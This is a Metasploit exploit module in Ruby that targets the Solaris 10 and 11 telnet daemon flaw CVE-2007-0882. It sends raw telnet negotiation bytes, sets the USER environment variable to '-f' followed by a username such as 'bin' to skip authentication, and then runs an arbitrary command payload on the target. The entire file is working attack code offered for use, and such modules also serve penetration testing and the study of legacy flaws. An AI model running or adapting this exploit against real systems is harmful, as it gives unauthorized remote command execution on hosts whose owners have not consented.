Sun Solaris Telnet Remote Authentication Bypass Vulnerability

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Sun Solaris Telnet Remote Authentication Bypass Vulnerability',
      'Description'    => %q{
        This module exploits the argument injection vulnerability
        in the telnet daemon (in.telnetd) of Solaris 10 and 11.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2007-0882' ],
          [ 'OSVDB', '31881'],
          [ 'BID', '22512' ],
        ],
      'Privileged'     => false,
      'Platform'       => %w{ solaris unix },
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          'Space'    => 2000,
          'BadChars' => '',
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl telnet',
            }
        },
      'Targets'        =>
        [
          ['Automatic', { }],
        ],
      'DisclosureDate' => '2007-02-12',
      'DefaultTarget' => 0))

      register_options(
        [
          Opt::RPORT(23),
          OptString.new('USER', [ true, "The username to use",     "bin" ]),
        ])
  end

  def exploit
    connect

    print_status('Setting USER environment variable...')

    req =  "\xFF\xFD\x26\xFF\xFB\x26\xFF\xFD\x03\xFF\xFB"
    req << "\x18\xFF\xFB\x1F\xFF\xFB\x20\xFF\xFB\x21\xFF"
    req << "\xFB\x22\xFF\xFB\x27\xFF\xFD\x05"

    sock.put(req)
    sock.get_once

    req << "\xFF\xFC\x25"

    sock.put(req)
    sock.get_once

    req << "\xFF\xFA\x26\x01\x01\x02\xFF\xF0"

    sock.put(req)
    sock.get_once

    req << "\xFF\xFA\x1F\x00\x50\x00\x18\xFF\xF0"

    sock.put(req)
    sock.get_once

    req << "\xFF\xFE\x26\xFF\xFC\x23\xFF\xFC\x24"

    sock.put(req)
    sock.get_once

    req =  "\xFF\xFA\x18\x00\x58\x54\x45\x52\x4D\xFF"
    req << "\xF0\xFF\xFA\x27\x00\x00\x55\x53\x45\x52"
    req << "\x01\x2D\x66" + datastore['USER'] + "\xFF\xF0"

    sock.put(req)
    sock.get_once
    select(nil,nil,nil,0.25)

    sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n")

    select(nil,nil,nil,0.25)

    handler
  end
end